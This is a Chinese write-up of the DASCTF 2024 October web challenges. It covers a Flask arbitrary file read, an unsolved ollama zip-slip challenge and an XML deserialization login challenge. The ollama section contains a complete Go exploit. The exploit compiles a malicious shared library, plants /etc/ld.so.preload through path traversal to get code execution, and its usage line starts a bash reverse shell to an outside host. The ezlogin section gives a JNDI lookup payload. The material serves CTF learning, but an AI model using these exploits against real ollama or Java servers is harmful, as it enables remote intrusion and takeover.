目录

  1. 1. 前言
  2. 2. CHECKIN
  3. 3. flow
  4. 4. ollama4shell(Unsolved)
  5. 5. ezlogin(Unsolved)
  6. 6. paisa4shell(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

DASCTF 2024 十月赛

2024/10/19 CTF线上赛
  |     |   总文章阅读量:

前言

web剩下3题全场零解,7小时真能做吗哥

官方wp:https://www.yuque.com/chuangfeimeiyigeren/eeii37/xn0zhgp85tgoafrz?singleDoc#

https://zer0peach.github.io/2024/10/24/DASCTF-2024%E9%87%91%E7%A7%8B%E5%8D%81%E6%9C%88/


CHECKIN

f12获取DASCTF{2024.10.19.DASCTF10.Welc0me.T0}


flow

进去发现是个任意文件读取

/proc/self/cmdline:python3 /app/main.py

/app/main.py:

from flask import Flask, request, render_template_string, abort

app = Flask(__name__)

HOME_PAGE_HTML = '''
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flask Web Application</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
    <div class="container mt-5">
      <h1 class="display-4 text-center">Welcome to My Flask App</h1>
      <p class="lead text-center">This is a simple web app using Flask.</p>
      <div class="text-center">
        <a href="/file?f=example.txt" class="btn btn-primary">Read example.txt</a>
      </div>
    </div>
  </body>
</html>
'''

@app.route('/')
def index():
    return render_template_string(HOME_PAGE_HTML)

@app.route('/file')
def file():
    file_name = request.args.get('f')

    if not file_name:
        return "Error: No file parameter provided.", 400

    try:
        with open(file_name, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return abort(404, description="File not found.")
    except Exception as e:
        return f"Error reading file.", 500

if __name__ == '__main__':
    app.run(host="127.0.0.1", port=8080)

任意文件读取就没了?

/proc/1/environ 秒了

image-20241019100700920


ollama4shell(Unsolved)

https://github.com/advisories/GHSA-846m-99qv-67mg

跟一下漏洞代码的调用链

https://github.com/ollama/ollama/blob/main/server/routes.go#L1134

r.POST("/api/create", s.CreateHandler)

https://github.com/ollama/ollama/blob/main/server/routes.go#L620

if err := CreateModel(ctx, name, filepath.Dir(r.Path), strings.ToUpper(quantization), f, fn); errors.Is(err, errBadTemplate) {
			ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest}
		}

https://github.com/ollama/ollama/blob/main/server/images.go#L421

func CreateModel(ctx context.Context, name model.Name, modelFileDir, quantization string, modelfile *parser.File, fn func(resp api.ProgressResponse)) (err error) {
    ...
	else if file, err := os.Open(realpath(modelFileDir, c.Args)); err == nil {
				defer file.Close()

				baseLayers, err = parseFromFile(ctx, command, baseLayers, file, "", fn)
				if err != nil {
					return err
				}
			}

https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L220

func parseFromFile(ctx context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {
	sr := io.NewSectionReader(file, 0, 512)
	contentType, err := detectContentType(sr)
	if err != nil {
		return nil, err
	}

	switch contentType {
	case "gguf", "ggla":
		// noop
	case "application/zip":
		return parseFromZipFile(ctx, file, digest, fn)

https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L140

func parseFromZipFile(_ context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {
    ...
    if err := extractFromZipFile(tempDir, file, fn); err != nil {
		return nil, err
	}

https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L81

func extractFromZipFile(p string, file *os.File, fn func(api.ProgressResponse)) error {
	stat, err := file.Stat()
	if err != nil {
		return err
	}

	r, err := zip.NewReader(file, stat.Size())
	if err != nil {
		return err
	}

	fn(api.ProgressResponse{Status: "unpacking model metadata"})
	for _, f := range r.File {
		n := filepath.Join(p, f.Name)
		if !strings.HasPrefix(n, p) {
			slog.Warn("skipped extracting file outside of context", "name", f.Name)
			continue
		}

		if err := os.MkdirAll(filepath.Dir(n), 0o750); err != nil {
			return err
		}

		// TODO(mxyng): this should not write out all files to disk
		outfile, err := os.Create(n)
		if err != nil {
			return err
		}
		defer outfile.Close()

		infile, err := f.Open()
		if err != nil {
			return err
		}
		defer infile.Close()

		if _, err = io.Copy(outfile, infile); err != nil {
			return err
		}

		if err := outfile.Close(); err != nil {
			return err
		}

		if err := infile.Close(); err != nil {
			return err
		}
	}

	return nil
}

翻api文档:https://github.com/ollama/ollama/blob/main/docs/api.md

先拉个镜像下来

image-20241019155529069

思路就是通过zip slip上传 ld.so.preload 到 /etc/ld.so.preload 用于加载恶意 so,之后随便在官方模型站 pull 一个比较小的模型,最后再使用 /api/embeddings 接口加载这个模型,加载模型时会调用 ollama 命令开启一个新进程从而加载恶意 so 执行任意命令。

go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
package main

import (
    "archive/zip"
    "bufio"
    "bytes"
    "crypto/sha256"
    "encoding/json"
    "flag"
    "fmt"
    "io"
    "log"
    "net/http"
    "net/url"
    "os"
    "os/exec"
    "strconv"
    "strings"
)

const CODE = `#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) myInitFunction() {
    const char *f1 = "/etc/ld.so.preload";
    const char *f2 = "/tmp/hook.so";
    unlink(f1);
    unlink(f2);
    system("bash -c '%s'");
}`

func main() {

    var targetUrl string
    var execCmd string
    flag.StringVar(&targetUrl, "target", "", "target url")
    flag.StringVar(&execCmd, "exec", "", "exec command")
    flag.Parse()
    if targetUrl == "" {
        fmt.Println("target url is required")
        os.Exit(1)
    }

    u := FormatUrl(targetUrl)

    detectRes, err := Detect(u)
    if err != nil {
        log.Fatal(err)
    }
    if !detectRes {
        fmt.Println("\nVulnerability does not exist")
        os.Exit(1)
    }
    fmt.Println("\nVulnerability does exist!!!")

    if execCmd == "" {
        fmt.Println("exec command is required")
        os.Exit(1)
    }

    _, err = GenEvilSo(execCmd)
    if err != nil {
        log.Fatal(err)
    }
    evilZipName, err := GenEvilZip()
    if err != nil {
        log.Fatal(err)
    }

    blobSha256Name, err := UploadBlob(u, evilZipName)
    if err != nil {
        log.Fatal(err)
    }
    err = Create(u, strings.ReplaceAll(blobSha256Name, ":", "-"))
    if err != nil {
        log.Fatal(err)
    }
    err = EmbeddingsExec(u, "all-minilm:22m")
    if err != nil {
        log.Fatal(err)
    }
}

func GenEvilSo(cmd string) (string, error) {
    code := fmt.Sprintf(CODE, cmd)
    err := os.WriteFile("tmp.c", []byte(code), 0644)
    if err != nil {
        return "", err
    }

    compile := exec.Command("gcc", "tmp.c", "-o", "hook.so", "-fPIC", "-shared", "-ldl", "-D_GNU_SOURCE")
    err = compile.Run()
    if err != nil {
        fmt.Println(err)
        return "", err
    }
    return "hook.so", nil
}

func GenEvilZip() (string, error) {
    zipFile, err := os.Create("evil.zip")
    if err != nil {
        return "", err
    }
    zw := zip.NewWriter(zipFile)

    preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
    _, err = preloadFile.Write([]byte("/tmp/hook.so"))
    if err != nil {
        return "", err
    }
    soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
    if err != nil {
        return "", err
    }
    locSoFile, err := os.Open("hook.so")
    if err != nil {
        return "", err
    }
    defer locSoFile.Close()
    io.Copy(soFile, locSoFile)

    zw.Close()
    zipFile.Close()

    return "evil.zip", nil
}

func UploadBlob(url, fileName string) (string, error) {
    f, err := os.Open(fileName)
    if err != nil {
        return "", err
    }
    defer f.Close()
    h := sha256.New()
    if _, err := io.Copy(h, f); err != nil {
        return "", err
    }
    fName := fmt.Sprintf("sha256:%x", h.Sum(nil))

    _, err = f.Seek(0, 0)
    if err != nil {
        return "", err
    }

    newReader := bufio.NewReader(f)

    res, err := http.Post(url+"/api/blobs/"+fName, "application/octet-stream", newReader)
    if err != nil {
        return "", err
    }

    content, err := io.ReadAll(res.Body)
    if err != nil {
        return "", err
    }
    fmt.Println("http log: " + string(content))
    return fName, nil
}

func Create(url, remoteFilePath string) error {
    jsonContent := []byte(fmt.Sprintf(`{"name": "test","modelfile": "FROM /root/.ollama/models/blobs/%s"}`, remoteFilePath))

    res, err := http.Post(url+"/api/create", "application/json", bytes.NewBuffer(jsonContent))

    if err != nil {
        return err
    }
    content, err := io.ReadAll(res.Body)
    if err != nil {
        return err
    }
    fmt.Println("http log: " + string(content))
    return nil
}

func EmbeddingsExec(url, model string) error {
    for i := 0; i < 3; i++ {
        jsonContent := []byte(fmt.Sprintf(`{"model":"%s","keep_alive": 0}`, model))
        res, err := http.Post(url+"/api/embeddings", "application/json", bytes.NewBuffer(jsonContent))
        if err != nil {
            return err
        }

        if res.StatusCode != 200 {
            fmt.Println("pulling model, please wait......")
            err := PullMinilmModel(url)
            if err != nil {
                return err
            }
        } else {
            content, err := io.ReadAll(res.Body)
            if err != nil {
                return err
            }
            fmt.Println("http log: " + string(content))
            break
        }
    }

    return nil
}

func PullMinilmModel(url string) error {
    jsonContent := `{"name":"all-minilm:22m"}`
    res, err := http.Post(url+"/api/pull", "application/json", bytes.NewBuffer([]byte(jsonContent)))
    if err != nil {
        return err
    }
    content, err := io.ReadAll(res.Body)
    if err != nil {
        return err
    }
    fmt.Println("http log: " + string(content))
    return nil
}

func Detect(url string) (bool, error) {
    res, err := http.Get(url + "/api/version")
    if err != nil {
        return false, err
    }
    var jsonMap map[string]string
    jsonContent, err := io.ReadAll(res.Body)
    if err != nil {
        return false, err
    }
    if err := json.Unmarshal(jsonContent, &jsonMap); err != nil || jsonMap["version"] == "" {
        return false, err
    }
    return isVersionLessThan(jsonMap["version"], "0.1.47"), nil
}

func FormatUrl(u string) string {
    ur, err := url.Parse(u)
    if err != nil {
        fmt.Println(ur)
    }
    return fmt.Sprintf("%s://%s", ur.Scheme, ur.Host)
}

func isVersionLessThan(version, target string) bool {
    v1 := strings.Split(version, ".")
    v2 := strings.Split(target, ".")

    for i := 0; i < len(v1) && i < len(v2); i++ {
        num1, _ := strconv.Atoi(v1[i])
        num2, _ := strconv.Atoi(v2[i])
        if num1 < num2 {
            return true
        } else if num1 > num2 {
            return false
        }
    }

    return len(v1) < len(v2)
}

ezlogin(Unsolved)

https://www.cnblogs.com/hetianlab/p/17184614.html

// LoginController
@ResponseBody
public String login(@RequestParam String username, @RequestParam String password, HttpSession session) {
    try {
        User user = UserUtil.login(username, password);
        if (user != null) {
            session.setAttribute("loggedInUser", user);
            return "{\"redirect\": \"/home\"}";
        } else {
            return "{\"message\": \"login fail!\"}";
        }
    } catch (Exception var5) {
        return "{\"message\": \"error!\"}";
    }
}

// auth/UserUtil
public static User login(String username, String password) throws Exception {
    File userFile = new File(USER_DIR, username + ".xml");
    if (!userFile.exists()) {
        return null;
    } else {
        User user = readUser(userFile);
        if (user != null && user.getPassword().equals(password)) {
            login_in = true;
            return user;
        } else {
            return null;
        }
    }
}

private static User readUser(File userFile) throws Exception {
    String content = FileUtil.readString(userFile, "UTF-8");
    int length = content.length();
    if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
        return (User)XmlUtil.readObjectFromXml(userFile);
    } else {
        System.out.printf("Unusual File Detected : %s\n", userFile.getName());
        return null;
    }
    }

目的明确,构造恶意xml在 readObjectFromXml 打反序列化,过滤了 java.springframework.hutool.,不能直接RCE,注意到有 jackson 库,可以打 jndi 注入触发 jackson 链子

生成xml的地方在这里

public static String register(String username, String password) throws Exception {
    File userFile = new File(USER_DIR, username + ".xml");
    if (userFile.exists()) {
        return "User already exists!";
    } else {
        String template = "<java>\n    <object class=\"org.example.auth.User\">\n        <void property=\"username\">\n            <string>{0}</string>\n        </void>\n        <void property=\"password\">\n            <string>{1}</string>\n        </void>\n    </object>\n</java>";
        String xmlContent = MessageFormat.format(template, username, password);
        FileUtil.writeString(xmlContent, userFile, "UTF-8");
        return "Register successful!";
    }
}

那么闭合标签在password进行构造,发现有限制长度

public static boolean check(String username, String password) {
    String usernameRe = "^[\\x20-\\x7E]{1,6}$";
    String passwordRe = "^[\\x20-\\x7E]{3,10}$";
    return username.matches(usernameRe) && password.matches(passwordRe);
}

我们要构造的payload:

<java>
  <object class="javax.naming.InitialContext">
    <void method="lookup">
      <string>rmi://ip:port/a</string>
    </void>
  </object>
</java>

这就是这题的关键了,把想要替换的内容通过登录生成JSESSIONID,然后收集这些session

最后利用那些session对同一个文件进行替换


paisa4shell(Unsolved)